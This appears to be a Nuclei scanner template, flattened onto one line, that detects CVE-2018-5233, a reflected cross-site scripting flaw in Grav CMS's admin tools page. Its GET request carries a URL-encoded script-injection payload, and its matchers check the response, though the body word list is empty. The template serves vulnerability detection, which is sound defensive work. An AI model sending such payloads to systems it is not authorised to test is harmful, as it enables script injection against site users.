id: CVE-2018-5233 info: name: Grav CMS <1.3.0 - Cross-Site Scripting author: pikpikcu severity: medium description: | Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools. reference: - https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/ - http://www.openwall.com/lists/oss-security/2018/03/15/1 - https://nvd.nist.gov/vuln/detail/CVE-2018-5233 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-5233 cwe-id: CWE-79 tags: cve,cve2018,xss,grav requests: - method: GET path: - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word words: - '' part: body - type: status status: - 200 - type: word part: header words: - text/html # Enhanced by mp on 2022/08/10